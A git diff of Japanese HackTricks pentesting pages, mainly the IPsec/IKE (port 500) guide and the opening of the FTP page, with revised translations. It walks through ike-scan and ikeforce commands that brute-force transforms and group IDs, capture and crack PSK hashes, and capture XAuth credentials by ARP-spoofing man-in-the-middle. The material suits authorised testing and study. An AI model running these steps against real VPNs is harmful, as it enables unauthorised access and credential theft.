<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
|
||||
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,17 +24,17 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
## 基本情報
|
||||
|
||||
**IPsec**は、ネットワーク間(LAN間)やリモートユーザーからネットワークゲートウェイへの通信を保護するための主要技術として広く認識されており、企業向けVPNソリューションのバックボーンとして機能しています。
|
||||
**IPsec**は、ネットワーク間(LAN間)やリモートユーザーからネットワークゲートウェイへの通信を保護するための主要な技術として広く認識されており、企業向けVPNソリューションのバックボーンとして機能しています。
|
||||
|
||||
2つのポイント間で**セキュリティアソシエーション(SA)**を確立することは、**IKE**によって管理されます。IKEは、認証と鍵交換のために設計されたプロトコルであるISAKMPの下で動作します。このプロセスは、次のフェーズで展開されます:
|
||||
2つのポイント間で**セキュリティアソシエーション(SA)**を確立することは、**IKE**によって管理され、認証と鍵交換のために設計されたプロトコルであるISAKMPの枠組みの下で動作します。このプロセスはいくつかのフェーズで展開されます:
|
||||
|
||||
- **フェーズ1:** 2つのエンドポイント間に安全なチャネルが作成されます。これは、Pre-Shared Key(PSK)または証明書を使用して、3つのメッセージのペアを含むメインモードまたは**アグレッシブモード**を使用して達成されます。
|
||||
- **フェーズ1:** 2つのエンドポイント間に安全なチャネルが作成されます。これは、Pre-Shared Key(PSK)または証明書を使用し、3つのメッセージのペアを含むメインモードまたは**アグレッシブモード**を使用して達成されます。
|
||||
- **フェーズ1.5:** 必須ではありませんが、このフェーズは拡張認証フェーズとして知られ、接続しようとするユーザーの身元を確認するためにユーザー名とパスワードを要求します。
|
||||
- **フェーズ2:** このフェーズは、**ESP**と**AH**を使用してデータを保護するためのパラメータを交渉することに専念しています。フェーズ1とは異なるアルゴリズムを使用して**完全転送秘匿(PFS)**を確保し、セキュリティを強化します。
|
||||
- **フェーズ2:** このフェーズは、**ESP**および**AH**を使用してデータを保護するためのパラメータを交渉することに専念しています。フェーズ1とは異なるアルゴリズムの使用を許可し、**Perfect Forward Secrecy(PFS)**を確保してセキュリティを強化します。
|
||||
|
||||
**デフォルトポート:** 500/udp
|
||||
|
||||
## **nmapを使用して**サービスを発見
|
||||
## **nmapを使用して**サービスを発見する
|
||||
```
|
||||
root@bt:~# nmap -sU -p 500 172.16.21.200
|
||||
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
||||
|
@ -46,9 +46,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
|||
```
|
||||
## **有効な変換を見つける**
|
||||
|
||||
IPSecの構成は、1つまたは複数の変換を受け入れるように準備できます。変換は値の組み合わせです。**各変換**には、DESまたは3DESのような**暗号化アルゴリズム**、SHAまたはMD5のような**整合性アルゴリズム**、事前共有キーを**認証タイプ**として含み、Diffie-Hellman 1または2を鍵**配布アルゴリズム**として、28800秒を**寿命**として含みます。
|
||||
IPSecの構成は、1つまたは複数の変換を受け入れるように準備することができます。変換は値の組み合わせです。**各変換**には、DESまたは3DESのような**暗号化アルゴリズム**、SHAまたはMD5のような**整合性アルゴリズム**、事前共有キーを**認証タイプ**として含み、Diffie-Hellman 1または2を鍵**配布アルゴリズム**として、28800秒を**寿命**として含みます。
|
||||
|
||||
したがって、最初に行う必要があることは、**有効な変換を見つける**ことです。これにより、サーバーがあなたと通信できるようになります。これを行うために、**ike-scan**ツールを使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと1つの提案を含むパケットをゲートウェイに送信します。**その中に8つの変換が含まれています**。
|
||||
その後、最初に行う必要があるのは、**有効な変換を見つける**ことです。これにより、サーバーがあなたと通信できるようになります。これを行うには、**ike-scan**ツールを使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと**8つの変換を含む1つの提案**をゲートウェイにパケットを送信します。
|
||||
|
||||
応答に応じて、エンドポイントに関する情報を取得できます。
|
||||
```
|
||||
|
@ -61,46 +61,45 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
|||
|
||||
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
||||
```
|
||||
前の応答で見ると、**AUTH**というフィールドがあり、値が**PSK**になっています。これは、VPNが事前共有キーを使用して構成されていることを意味します(これはペンテスターにとって本当に良いことです)。
|
||||
前の応答で見られるように、**AUTH**というフィールドがあり、その値は**PSK**です。これはVPNが事前共有キーを使用して構成されていることを意味します(これはペンテスターにとって非常に良いことです)。
|
||||
|
||||
**最後の行の値も非常に重要です:**
|
||||
|
||||
* _0 returned handshake; 0 returned notify:_ これは、対象が**IPsecゲートウェイでない**ことを意味します。
|
||||
* _**1 returned handshake; 0 returned notify:**_ これは、**対象がIPsecに構成され、IKEネゴシエーションを実行する意向があり、提案された変換のいずれかが受け入れ可能である**ことを意味します(有効な変換は出力に表示されます)。
|
||||
* _0 returned handshake; 1 returned notify:_ VPNゲートウェイは、**受け入れ可能な変換がない場合に通知メッセージで応答**します(ただし、一部のゲートウェイは応答しない場合もあり、その場合はさらなる分析と改訂提案が必要です)。
|
||||
* _0 returned handshake; 0 returned notify:_ これはターゲットが**IPsecゲートウェイでない**ことを意味します。
|
||||
* _**1 returned handshake; 0 returned notify:**_ これは、**ターゲットがIPsecに構成され、IKEネゴシエーションを実行する意向があり、提案された変換のいずれかが受け入れ可能である**ことを意味します(有効な変換は出力に表示されます)。
|
||||
* _0 returned handshake; 1 returned notify:_ VPNゲートウェイは、**提案された変換がいずれも受け入れられない場合には通知メッセージで応答**します(ただし、一部のゲートウェイは応答しない場合もあり、その場合はさらなる分析と改訂提案が必要です)。
|
||||
|
||||
したがって、この場合、すでに有効な変換がありますが、3番目の場合は、**有効な変換を見つけるために少しブルートフォースする必要があります:**
|
||||
したがって、この場合、すでに有効な変換がありますが、3番目の場合には、**有効な変換を見つけるために少しブルートフォースする必要があります:**
|
||||
|
||||
まず、すべての可能な変換を作成する必要があります:
|
||||
```bash
|
||||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||||
```
|
||||
その後、ike-scanを使用してそれぞれをブルートフォース攻撃します(これには数分かかる場合があります):
|
||||
そして、ike-scanを使用してそれぞれをブルートフォース攻撃します(これには数分かかる場合があります):
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
もしブルートフォースがうまくいかない場合、サーバーが有効な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じブルートフォースを用いてアグレッシブモードを試してみることができます。
|
||||
もし総当たり攻撃がうまくいかなかった場合、サーバーが正当な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じ総当たり攻撃を行うが、アグレッシブモードを使用してみることができます:
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
Hopefully **有効な変換がエコーバックされます**。\
|
||||
**有効な変換がエコーバックされることを期待しています**。\
|
||||
同じ攻撃を**iker.py**を使用して試すことができます。\
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)を使用して同じ攻撃を試すこともできます。\
|
||||
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)を使用して変換を総当たりで試すこともできます。
|
||||
```bash
|
||||
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
||||
```
|
||||
![](<../.gitbook/assets/image (109).png>)
|
||||
|
||||
**DH Group: 14 = 2048-bit MODP** および **15 = 3072-bit** である。**2 = HMAC-SHA = SHA1 (この場合)**。`--trans` フォーマットは $Enc,$Hash,$Auth,$DH である。
|
||||
**DH Group: 14 = 2048-bit MODP** と **15 = 3072-bit** では、**2 = HMAC-SHA = SHA1 (この場合)** です。`--trans` フォーマットは $Enc,$Hash,$Auth,$DH です。
|
||||
|
||||
シスコは、DH グループ 1 および 2 の使用を避けるよう指示している。これらは強力ではないため、**リソースが豊富な国々**は、これらの弱いグループを使用するデータの暗号化を簡単に解読できると専門家は考えている。これは、それらを素早く解読するために準備する特別な方法を使用することによって行われる。この方法を設定するのに多額の費用がかかるにもかかわらず、これらの強力な国々は、暗号化されたデータをリアルタイムで読むことができるようになります(1,024ビット以下のような強力でないグループを使用している場合)。
|
||||
シスコは、DH グループ 1 と 2 の使用を避けるように指示しています。これらは強力ではないため、**リソースが豊富な国々**は、これらの弱いグループを使用するデータの暗号化を簡単に解読できると専門家は考えています。これは、それらを素早く解読するための特別な方法を使用して行われます。この方法を設定するのに多額の費用がかかりますが、これにより、これらの強力な国々が、暗号化されたデータをリアルタイムで読むことができます(1,024ビット以下のグループを使用している場合など)。
|
||||
|
||||
### サーバーのフィンガープリント
|
||||
|
||||
次に、デバイスの **ベンダーを特定** するために ike-scan を使用できます。このツールは初期提案を送信し、リプレイを停止します。その後、サーバーから受信したメッセージと一致する応答パターンとの **時間差** を分析することで、ペンテスターは VPN ゲートウェイのベンダーを正確にフィンガープリントできます。さらに、一部の VPN サーバーは IKE でオプションの **Vendor ID (VID) ペイロード** を使用します。
|
||||
次に、ike-scan を使用して、デバイスの**ベンダーを特定**しようとすることができます。このツールは初期提案を送信し、リプレイを停止します。その後、サーバーから受信したメッセージと一致する応答パターンとの**時間差**を**分析**することで、ペンテスターは VPN ゲートウェイのベンダーを正確にフィンガープリントできます。さらに、一部の VPN サーバーは IKE でオプションの**Vendor ID (VID) ペイロード**を使用します。
|
||||
|
||||
必要に応じて **有効な変換を指定** する(--trans を使用)
|
||||
必要に応じて有効な変換を指定します(--trans を使用)
|
||||
|
||||
IKE がベンダーを特定した場合、それを表示します:
|
||||
```
|
||||
|
@ -126,7 +125,7 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
|
|||
|
||||
## 正しいID(グループ名)の検索
|
||||
|
||||
ハッシュをキャプチャするためには、アグレッシブモードをサポートし、正しいID(グループ名)を持つ有効な変換が必要です。おそらく有効なグループ名はわからないため、総当たり攻撃する必要があります。\
|
||||
ハッシュをキャプチャするためには、アグレッシブモードをサポートし、正しいID(グループ名)を持つ有効な変換が必要です。おそらく正しいグループ名はわからないため、総当たり攻撃する必要があります。\
|
||||
そのために、2つの方法をお勧めします:
|
||||
|
||||
### ike-scanを使用したIDの総当たり攻撃
|
||||
|
@ -135,15 +134,15 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
|
|||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
**ハッシュが返されない**場合、おそらくこのブルートフォースの方法が機能するでしょう。**ハッシュが返される場合、偽のIDに対して偽のハッシュが返されるため、この方法はIDをブルートフォースするのに信頼性がありません**。たとえば、偽のハッシュが返される可能性があります(これは最新バージョンで発生します):
|
||||
**ハッシュが返されない**場合、おそらくこのブルートフォースの方法が機能するでしょう。**ハッシュが返される場合、偽のIDに対して偽のハッシュが送信されるため、この方法はIDをブルートフォースするために信頼性がありません**。たとえば、偽のハッシュが返される可能性があります(これは最新バージョンで発生します):
|
||||
|
||||
![](<../.gitbook/assets/image (110).png>)
|
||||
|
||||
しかし、前述のようにハッシュが返されない場合は、ike-scanを使用して一般的なグループ名をブルートフォースしてみる必要があります。
|
||||
しかし、私が言ったように、ハッシュが返されない場合は、ike-scanを使用して一般的なグループ名をブルートフォースしてみる必要があります。
|
||||
|
||||
このスクリプトは**可能なIDをブルートフォースし**、有効なハンドシェイクが返されるID(これは有効なグループ名になります)を返します。
|
||||
|
||||
特定の変換を発見した場合は、ike-scanコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを追加してください(正常に機能するものが見つかるまですべてを試す必要があります)。
|
||||
特定の変換を発見した場合は、ike-scanコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを追加してください(正常に機能するまですべてを試す必要があります)。
|
||||
|
||||
[ikeforceの辞書](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)または[seclistsのもの](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)を使用して、一般的なグループ名をブルートフォースすることができます。
|
||||
```bash
|
||||
|
@ -159,13 +158,13 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
|
|||
|
||||
デフォルトでは、**ikeforce**は最初にいくつかのランダムなIDを送信して、サーバーの動作をチェックし、使用するタクティクを決定します。
|
||||
|
||||
- **最初の方法**は、Ciscoシステムの**Dead Peer Detection DPD**情報を**検索**して、グループ名をBruteforceすることです(この情報は、グループ名が正しい場合にのみサーバーによって再生されます)。
|
||||
- 利用可能な**2番目の方法**は、各試行に送信される応答の数を**チェックする**ことです。正しいIDが使用されると、より多くのパケットが送信される場合があります。
|
||||
- **3番目の方法**は、不正なIDに対する応答で**"INVALID-ID-INFORMATION"を検索**することです。
|
||||
- 最後に、サーバーがチェックに対して何も応答しない場合、**ikeforce**はサーバーをBruteforceし、正しいIDが送信されるとサーバーがパケットで応答するかどうかをチェックします。\
|
||||
明らかに、IDをBruteforceする目的は、有効なIDを持っている場合に**PSK**を取得することです。その後、**ID**と**PSK**を使用して、XAUTHをBruteforceする必要があります(有効になっている場合)。
|
||||
* **最初の方法**は、Ciscoシステムの**Dead Peer Detection DPD**情報を**検索**して、グループ名をBruteforceすることです(この情報は、グループ名が正しい場合にのみサーバーによって再生されます)。
|
||||
* 利用可能な**2番目の方法**は、**各試行に送信された応答の数を確認**することです。正しいIDを使用すると、より多くのパケットが送信される場合があります。
|
||||
* **3番目の方法**は、不正なIDに対する応答で**"INVALID-ID-INFORMATION"を検索**することです。
|
||||
* 最後に、サーバーがチェックに対して何も応答しない場合、**ikeforce**はサーバーをBruteforceし、正しいIDが送信されるとサーバーがいくつかのパケットで応答するかどうかを確認します。\
|
||||
明らかに、IDをBruteforceする目的は、有効なIDがわかったときに**PSK**を取得することです。その後、**ID**と**PSK**を使用して、XAUTHをBruteforceする必要があります。
|
||||
|
||||
特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを自由に追加してください(うまく機能するまですべてを試す必要があります)。
|
||||
特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを追加してください(うまく機能するまですべてを試す必要があります)。
|
||||
```bash
|
||||
git clone https://github.com/SpiderLabs/ikeforce.git
|
||||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
|
@ -188,24 +187,24 @@ ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported
|
|||
```
|
||||
ハッシュは_hash.txt_内に保存されます。
|
||||
|
||||
**psk-crack**、**john**([**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)を使用)および**hashcat**を使用してハッシュを**クラック**することができます:
|
||||
ハッシュを**クラック**するために**psk-crack**、**john**([**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)を使用)および**hashcat**を使用できます。
|
||||
```bash
|
||||
psk-crack -d <Wordlist_path> psk.txt
|
||||
```
|
||||
## **XAuth**
|
||||
|
||||
**アグレッシブモードIKE** は、**事前共有キー(PSK)**と組み合わせて、**グループ認証**の目的で一般的に使用されます。この方法は、**拡張認証(XAuth:Extended Authentication)** によって補完され、追加の **ユーザー認証** のレイヤーを導入します。このような認証は通常、**Microsoft Active Directory**、**RADIUS**、または類似のシステムを利用します。
|
||||
**アグレッシブモードIKE** は、**事前共有キー(PSK)**と組み合わせて、**グループ認証**の目的で一般的に使用されます。この方法は、**拡張認証(XAuth)** によって補完され、追加の **ユーザー認証** のレイヤーを導入します。このような認証は通常、**Microsoft Active Directory**、**RADIUS**、または類似のシステムを活用します。
|
||||
|
||||
**IKEv2** に移行すると、ユーザーの認証のために **XAuth** の代わりに **EAP(Extensible Authentication Protocol)** が使用される傾向が見られます。この変更は、セキュアな通信プロトコル内での認証プラクティスの進化を示しています。
|
||||
**IKEv2** に移行すると、ユーザーの認証の目的で **XAuth** の代わりに **EAP(拡張認証プロトコル)** が使用されるという注目すべき変化が見られます。この変更は、セキュアな通信プロトコル内での認証プラクティスの進化を強調しています。
|
||||
|
||||
|
||||
### ローカルネットワークのMitMによる資格情報のキャプチャ
|
||||
|
||||
したがって、_fiked_ を使用してログインデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できます(IKEトラフィックをスニッフィングするために `fiked` にリダイレクトする必要があります。これはARPスプーフィングを使用して行うことができます、[詳細はこちら](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked はVPNエンドポイントとして機能し、XAuthの資格情報をキャプチャします。
|
||||
したがって、_fiked_ を使用してログインデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できます(IKEトラフィックを `fiked` にリダイレクトしてスニッフィングする必要があります。これはARPスプーフィングを使用して行うことができます、[詳細情報](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked はVPNエンドポイントとして機能し、XAuthの資格情報をキャプチャします。
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
### MitM攻撃を行い、すべてのトラフィックをポート500にブロックし、IPSecトンネルを確立できない場合、トラフィックはクリアテキストで送信される可能性があります。
|
||||
### IPSecを使用してMitM攻撃を試み、ポート500へのすべてのトラフィックをブロックし、IPSecトンネルを確立できない場合はトラフィックがクリアで送信される可能性があります。
|
||||
|
||||
### ikeforceを使用してXAUTHのユーザー名とパスワードをブルートフォースする
|
||||
|
||||
|
@ -213,15 +212,15 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
|||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
この方法では、ikeforce はユーザー名:パスワードの各組み合わせを使用して接続を試みます。
|
||||
This way, ikeforce will try to connect using each combination of username:password.
|
||||
|
||||
1つ以上の有効なトランスフォームが見つかった場合は、前の手順と同様にそれらを使用してください。
|
||||
If you found one or several valid transforms just use them like in the previous steps.
|
||||
|
||||
## IPSEC VPN での認証
|
||||
## IPSEC VPNでの認証
|
||||
|
||||
Kali では、IPsec トンネルを確立するために **VPNC** が利用されます。**プロファイル** は `/etc/vpnc/` ディレクトリに配置する必要があります。これらのプロファイルは _**vpnc**_ コマンドを使用して開始できます。
|
||||
Kaliでは、IPsecトンネルを確立するために**VPNC**が利用されます。**プロファイル**は`/etc/vpnc/`ディレクトリに配置する必要があります。これらのプロファイルは、_**vpnc**_コマンドを使用して開始できます。
|
||||
|
||||
以下のコマンドと設定は、VPNC を使用して VPN 接続を設定するプロセスを示しています。
|
||||
以下のコマンドと設定は、VPNCを使用してVPN接続を設定するプロセスを示しています:
|
||||
```bash
|
||||
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
||||
IPSec gateway [VPN_GATEWAY_IP]
|
||||
|
@ -235,13 +234,14 @@ root@system:~# vpnc samplevpn
|
|||
VPNC started in background (pid: [PID])...
|
||||
root@system:~# ifconfig tun0
|
||||
```
|
||||
## 設定:
|
||||
```markdown
|
||||
このセットアップでは:
|
||||
|
||||
- `[VPN_GATEWAY_IP]` を VPN ゲートウェイの実際の IP アドレスに置き換えます。
|
||||
- `[VPN_CONNECTION_ID]` を VPN 接続の識別子に置き換えます。
|
||||
- `[VPN_GROUP_SECRET]` を VPN のグループシークレットに置き換えます。
|
||||
- `[VPN_USERNAME]` と `[VPN_PASSWORD]` を VPN 認証資格情報に置き換えます。
|
||||
- `vpnc` が開始されるときに割り当てられるプロセス ID を示す `[PID]`。
|
||||
- `[PID]` は、`vpnc` が開始されると割り当てられるプロセス ID を示します。
|
||||
|
||||
VPN を構成する際には、プレースホルダーを実際で安全な値で置き換えることを確認してください。
|
||||
|
||||
|
@ -258,20 +258,21 @@ VPN を構成する際には、プレースホルダーを実際で安全な値
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションです。
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@
|
|||
|
||||
## 基本情報
|
||||
|
||||
**ファイル転送プロトコル(FTP)**は、サーバーとクライアント間でコンピューターネットワークを介してファイルを転送するための標準プロトコルとして機能します。\
|
||||
**ファイル転送プロトコル(FTP)**は、サーバーとクライアント間でコンピュータネットワークを介してファイルを転送するための標準プロトコルとして機能します。\
|
||||
**プレーンテキスト**プロトコルであり、**改行文字 `0x0d 0x0a`** を使用するため、**`telnet`**または**`nc -C`**を使用して接続する必要があることがあります。
|
||||
|
||||
**デフォルトポート:** 21
|
||||
|
@ -32,11 +32,11 @@ PORT STATE SERVICE
|
|||
```
|
||||
### 接続のアクティブとパッシブ
|
||||
|
||||
**アクティブFTP**では、FTP **クライアント**は最初に制御**接続**をポートNからFTPサーバーのコマンドポート(ポート21)に**イニシエート**します。その後、**クライアント**はポート**N+1**で**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**はその後、データ**接続**を、**そのポートMからFTPクライアントのポートN+1**に**イニシエート**します。
|
||||
**アクティブFTP**では、FTP **クライアント**は最初に制御**接続**をポートNからFTPサーバーのコマンドポート(ポート21)に**イニシエート**します。その後、**クライアント**はポート**N+1**で**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**はその後、**データ接続**をポートMからFTPクライアントのポートN+1に**イニシエート**します。
|
||||
|
||||
ただし、FTPクライアントに外部からの着信データ接続を制御するファイアウォール設定がある場合、アクティブFTPは問題になる可能性があります。そのための実用的な解決策はパッシブFTPです。
|
||||
ただし、FTPクライアントに外部からの着信データ接続を制御するファイアウォールが設定されている場合、アクティブFTPは問題になる可能性があります。そのための実現可能な解決策はパッシブFTPです。
|
||||
|
||||
**パッシブFTP**では、クライアントは制御接続をポートNからFTPサーバーのポート21に**イニシエート**します。その後、クライアントは**passvコマンド**を発行します。サーバーはその後、クライアントに自身のポート番号Mの1つを送信します。そして、**クライアント**はデータ**接続**を、**そのポートPからFTPサーバーのポートM**に**イニシエート**します。
|
||||
**パッシブFTP**では、クライアントは制御接続をポートNからFTPサーバーのポート21に**イニシエート**します。その後、クライアントは**passvコマンド**を発行します。サーバーはその後、クライアントに自身のポート番号Mの1つを送信します。そして、**クライアント**はデータ**接続**をポートPからFTPサーバーのポートMに**イニシエート**します。
|
||||
|
||||
